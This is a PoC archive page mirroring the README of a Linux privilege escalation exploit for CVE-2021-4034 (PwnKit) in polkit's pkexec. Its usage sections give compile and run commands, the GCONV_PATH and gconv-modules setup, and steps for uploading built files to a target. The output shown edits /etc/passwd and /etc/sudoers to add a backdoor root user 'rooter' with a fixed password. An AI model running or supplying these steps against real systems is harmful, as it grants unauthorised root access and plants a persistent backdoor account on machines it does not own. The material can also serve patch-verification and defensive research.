Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source
Associated Vulnerability
Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.
Description
CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation
Readme
# CVE-2021-4034

CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation

根据[CVE-2021-4034](https://github.com/arthepsy/CVE-2021-4034)进行了加强,执行Exploit将会默认添加用户名`rooter`,密码`Hello@World`,并且`rooter`用户将具有sudo权限。

Refer to [CVE-2021-4034](https://github.com/arthepsy/CVE-2021-4034), executing Exploit will add username `rooter`, password `Hello@World` by default, and The `rooter` user will have sudo privileges.

## Usage

```bash

test@some:~$ gcc cve-2021-4034.c -o ./exp
test@some:~$ ./exp
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!

[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!

[+]Add Root User Success...
test@some:~$ su rooter
Password:
root@some:/home/test# id
uid=0(root) gid=0(root) groups=0(root)
root@some:/home/test#
```

### 手动提权

如果目标环境没有gcc,可手动执行命令,并在本地编译pwnkit.so。

#### 创建利用环境 - 目标机器
```bash
$ mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'
$ mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules
```

#### 编译pwnkit.so 与 pkexec - 本地

```bash
$ mkdir pwnkit
$ gcc pwnkit.so.c -o pwnkit/pwnkit.so -lcrypt -shared -fPIC
$ gcc pkexec.c -o pkexec
```

#### 执行Exploit

1. 将pwnkit文件夹上传到目标机器
2. 将pkexec上传到目标机器
3. 执行pkexec

```bash
$ ./pkexec
/etc/passwd successfully backed up to /tmp/passwd.bak
File Open successed!

[+]Change sudoers priv.
/etc/sudoers successfully backed up to /tmp/sudoers.bak
File Open successed!

[+]Add Root User Success...
```
File Snapshot

[4.0K] /data/pocs/deb747b48601cf7fb39d5772f47247d8bf04054b ├── [3.6K] cve-2021-4034.c ├── [ 238] pkexec.c ├── [2.6K] pwnkit.so.c └── [1.7K] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →